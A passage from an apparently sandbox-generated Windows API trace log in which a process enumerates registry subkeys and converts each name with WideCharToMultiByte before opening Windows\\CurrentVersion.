dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x35c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x35b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x35c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x35b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x35c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x35b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x35c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x35b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x35c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x35b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x35c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0229.273] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x35b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.273] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x35b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x35b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x35b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x35c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x35b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x35c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x35b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x35c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x35b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0229.274] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x35b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x35c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x35b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x35c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x35b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x35c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x35b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x35c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x35b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x35c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x35b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x35b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x35c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0229.275] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x35b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0229.276] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0229.276] RegCloseKey (hKey=0x38) returned 0x0 [0229.276] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x35b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x35c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0229.276] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0229.276] RegCloseKey (hKey=0xc4) returned 0x0 [0229.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x35b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x35c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0229.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x35b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x35c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0229.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x35b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x35c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0229.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x35b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0229.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x35c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0229.276] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x35b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x35c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x35b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x35c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x35b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x35c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x35b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x35c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x35b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x35c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x35b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x35c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x35b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x35c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0229.277] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x35b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0229.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x35c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x35b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x35c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x35b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x35c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x35b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x35c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x35b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x35c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x35b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x35c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0229.278] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x35b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0229.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", 